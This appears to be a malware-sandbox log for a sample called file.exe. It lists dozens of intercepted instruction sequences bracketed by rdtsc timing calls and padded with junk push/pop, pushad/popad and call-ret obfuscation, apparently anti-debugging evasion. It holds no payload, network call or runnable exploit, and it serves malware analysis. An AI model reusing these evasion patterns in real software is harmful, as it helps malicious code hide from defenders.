Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84EBA1 second address: 84EBAD instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F7F1CE19AAEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84EE31 second address: 84EE3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 jl 00007F7F1D21A766h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 852E0E second address: 852E90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jl 00007F7F1CE19ABAh 0x0000000b jmp 00007F7F1CE19AB4h 0x00000010 popad 0x00000011 add dword ptr [esp], 1C21066Fh 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b call 00007F7F1CE19AA8h 0x00000020 pop eax 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 add dword ptr [esp+04h], 0000001Dh 0x0000002d inc eax 0x0000002e push eax 0x0000002f ret 0x00000030 pop eax 0x00000031 ret 0x00000032 mov esi, dword ptr [ebp+122D3751h] 0x00000038 lea ebx, dword ptr [ebp+12454C17h] 0x0000003e adc dx, C6B3h 0x00000043 jmp 00007F7F1CE19AB8h 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c push ecx 0x0000004d pop ecx 0x0000004e ja 00007F7F1CE19AA6h 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853000 second address: 853071 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1D21A772h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F7F1D21A777h 0x0000000f nop 0x00000010 mov dword ptr [ebp+122D2B20h], ecx 0x00000016 push 00000000h 0x00000018 jmp 00007F7F1D21A770h 0x0000001d call 00007F7F1D21A769h 0x00000022 jng 00007F7F1D21A770h 0x00000028 pushad 0x00000029 jl 00007F7F1D21A766h 0x0000002f push ecx 0x00000030 pop ecx 0x00000031 popad 0x00000032 push eax 0x00000033 push ecx 0x00000034 push ecx 0x00000035 push ebx 0x00000036 pop ebx 0x00000037 pop ecx 0x00000038 pop ecx 0x00000039 mov eax, dword ptr [esp+04h] 0x0000003d push ebx 0x0000003e pushad 0x0000003f push edx 0x00000040 pop edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853071 second address: 853124 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 mov eax, dword ptr [eax] 0x00000008 push edi 0x00000009 jg 00007F7F1CE19AACh 0x0000000f pop edi 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 jmp 00007F7F1CE19AABh 0x00000019 pop eax 0x0000001a mov dword ptr [ebp+122D3241h], eax 0x00000020 push 00000003h 0x00000022 push 00000000h 0x00000024 push edx 0x00000025 call 00007F7F1CE19AA8h 0x0000002a pop edx 0x0000002b mov dword ptr [esp+04h], edx 0x0000002f add dword ptr [esp+04h], 00000017h 0x00000037 inc edx 0x00000038 push edx 0x00000039 ret 0x0000003a pop edx 0x0000003b ret 0x0000003c call 00007F7F1CE19AB4h 0x00000041 mov esi, 43BBC238h 0x00000046 pop edi 0x00000047 mov edx, 4F8471E5h 0x0000004c push 00000000h 0x0000004e push 00000000h 0x00000050 push edi 0x00000051 call 00007F7F1CE19AA8h 0x00000056 pop edi 0x00000057 mov dword ptr [esp+04h], edi 0x0000005b add dword ptr [esp+04h], 00000015h 0x00000063 inc edi 0x00000064 push edi 0x00000065 ret 0x00000066 pop edi 0x00000067 ret 0x00000068 push 00000003h 0x0000006a mov ecx, dword ptr [ebp+122D1C25h] 0x00000070 push 952E854Dh 0x00000075 push eax 0x00000076 push edx 0x00000077 push edi 0x00000078 jmp 00007F7F1CE19AB7h 0x0000007d pop edi 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853124 second address: 853172 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1D21A776h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 2AD17AB3h 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007F7F1D21A768h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a mov cx, bx 0x0000002d lea ebx, dword ptr [ebp+12454C2Bh] 0x00000033 push eax 0x00000034 pushad 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872C15 second address: 872C2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F1CE19AAFh 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 870EB1 second address: 870EB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 870FE9 second address: 87100A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F7F1CE19AA6h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d pop eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F7F1CE19AB0h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87100A second address: 87100E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8713EC second address: 871406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F1CE19AB4h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872730 second address: 87274F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F1D21A778h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 877335 second address: 877339 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 877339 second address: 877351 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F7F1D21A768h 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 877351 second address: 877379 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7F1CE19AB5h 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 877379 second address: 87737E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 877473 second address: 87748D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F7F1CE19AAEh 0x0000000a popad 0x0000000b push eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87748D second address: 877491 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 877491 second address: 8774C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c jnl 00007F7F1CE19AA8h 0x00000012 jp 00007F7F1CE19AA8h 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b mov eax, dword ptr [eax] 0x0000001d push esi 0x0000001e jmp 00007F7F1CE19AABh 0x00000023 pop esi 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b pushad 0x0000002c popad 0x0000002d pop eax 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8774C7 second address: 8774CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8774CD second address: 8774D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87DEE5 second address: 87DF03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F7F1D21A766h 0x0000000a jmp 00007F7F1D21A774h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E1F6 second address: 87E218 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1CE19AB4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F7F1CE19AAAh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E218 second address: 87E22D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7F1D21A76Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E22D second address: 87E238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E238 second address: 87E23C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881ADD second address: 881AEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jc 00007F7F1CE19AA6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882266 second address: 88227B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push esi 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c pop esi 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88227B second address: 882281 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882281 second address: 88229D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F7F1D21A775h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88229D second address: 8822D2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F7F1CE19AB4h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F7F1CE19AB1h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88263E second address: 882649 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882649 second address: 882663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F7F1CE19AB1h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882663 second address: 882668 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882839 second address: 88283D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88283D second address: 882843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882843 second address: 882855 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7F1CE19AA8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8828DF second address: 8828FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F1D21A778h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882D93 second address: 882D9D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7F1CE19AACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882E0B second address: 882E15 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7F1D21A766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882E15 second address: 882E28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F1CE19AAFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882E28 second address: 882E37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882E37 second address: 882E8B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7F1CE19AACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebx 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F7F1CE19AA8h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 xor dword ptr [ebp+122D326Dh], edi 0x0000002b push eax 0x0000002c pushad 0x0000002d pushad 0x0000002e jmp 00007F7F1CE19AB2h 0x00000033 pushad 0x00000034 popad 0x00000035 popad 0x00000036 push eax 0x00000037 push edx 0x00000038 jo 00007F7F1CE19AA6h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882F3F second address: 882F43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882F43 second address: 882F59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007F7F1CE19AACh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88335D second address: 883362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883362 second address: 88336C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F7F1CE19AA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883883 second address: 88388D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F7F1D21A766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 884227 second address: 88422C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88422C second address: 884232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 884106 second address: 88410A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 884232 second address: 8842BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F7F1D21A76Fh 0x0000000d nop 0x0000000e xor esi, 5CE2FCCDh 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ecx 0x00000019 call 00007F7F1D21A768h 0x0000001e pop ecx 0x0000001f mov dword ptr [esp+04h], ecx 0x00000023 add dword ptr [esp+04h], 0000001Bh 0x0000002b inc ecx 0x0000002c push ecx 0x0000002d ret 0x0000002e pop ecx 0x0000002f ret 0x00000030 push eax 0x00000031 jnc 00007F7F1D21A76Ch 0x00000037 pop esi 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push ebp 0x0000003d call 00007F7F1D21A768h 0x00000042 pop ebp 0x00000043 mov dword ptr [esp+04h], ebp 0x00000047 add dword ptr [esp+04h], 00000014h 0x0000004f inc ebp 0x00000050 push ebp 0x00000051 ret 0x00000052 pop ebp 0x00000053 ret 0x00000054 mov dword ptr [ebp+122D18B1h], eax 0x0000005a push eax 0x0000005b pushad 0x0000005c pushad 0x0000005d jmp 00007F7F1D21A76Bh 0x00000062 pushad 0x00000063 popad 0x00000064 popad 0x00000065 push eax 0x00000066 push edx 0x00000067 push esi 0x00000068 pop esi 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 885384 second address: 8853E9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jno 00007F7F1CE19AA6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007F7F1CE19AA8h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 push 00000000h 0x0000002b mov dword ptr [ebp+122D3191h], eax 0x00000031 push 00000000h 0x00000033 push esi 0x00000034 jmp 00007F7F1CE19AAEh 0x00000039 pop esi 0x0000003a xchg eax, ebx 0x0000003b jc 00007F7F1CE19AAEh 0x00000041 jbe 00007F7F1CE19AA8h 0x00000047 pushad 0x00000048 popad 0x00000049 push eax 0x0000004a je 00007F7F1CE19ABEh 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8867A4 second address: 8867AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8888D2 second address: 8888D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8888D7 second address: 888946 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F1D21A76Ch 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007F7F1D21A775h 0x00000014 jmp 00007F7F1D21A76Fh 0x00000019 pop edx 0x0000001a nop 0x0000001b or dword ptr [ebp+122D31D0h], edx 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push esi 0x00000026 call 00007F7F1D21A768h 0x0000002b pop esi 0x0000002c mov dword ptr [esp+04h], esi 0x00000030 add dword ptr [esp+04h], 00000019h 0x00000038 inc esi 0x00000039 push esi 0x0000003a ret 0x0000003b pop esi 0x0000003c ret 0x0000003d push 00000000h 0x0000003f push edi 0x00000040 jmp 00007F7F1D21A76Ah 0x00000045 pop edi 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a js 00007F7F1D21A766h 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 888946 second address: 88894B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 886F57 second address: 886F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88A293 second address: 88A307 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1CE19AAEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c jc 00007F7F1CE19AA6h 0x00000012 sub edi, dword ptr [ebp+122D2132h] 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007F7F1CE19AA8h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 00000016h 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 push 00000000h 0x00000036 jmp 00007F7F1CE19AB7h 0x0000003b push eax 0x0000003c pushad 0x0000003d jmp 00007F7F1CE19AB5h 0x00000042 pushad 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88C1A3 second address: 88C1A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 888699 second address: 88869F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D950 second address: 88D954 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88869F second address: 8886A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8886A3 second address: 8886A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D954 second address: 88D965 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88E882 second address: 88E88A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8886A7 second address: 8886B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F7F1CE19AA6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88DA3D second address: 88DA47 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7F1D21A766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8886B9 second address: 8886BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88DA47 second address: 88DA4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88FC79 second address: 88FC7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8886BD second address: 8886C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 890CCE second address: 890D0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F1CE19AAEh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jno 00007F7F1CE19AB1h 0x00000013 pushad 0x00000014 jmp 00007F7F1CE19AB3h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 891AA2 second address: 891AA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 891AA6 second address: 891AB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c push edx 0x0000000d pop edx 0x0000000e popad 0x0000000f rdtsc
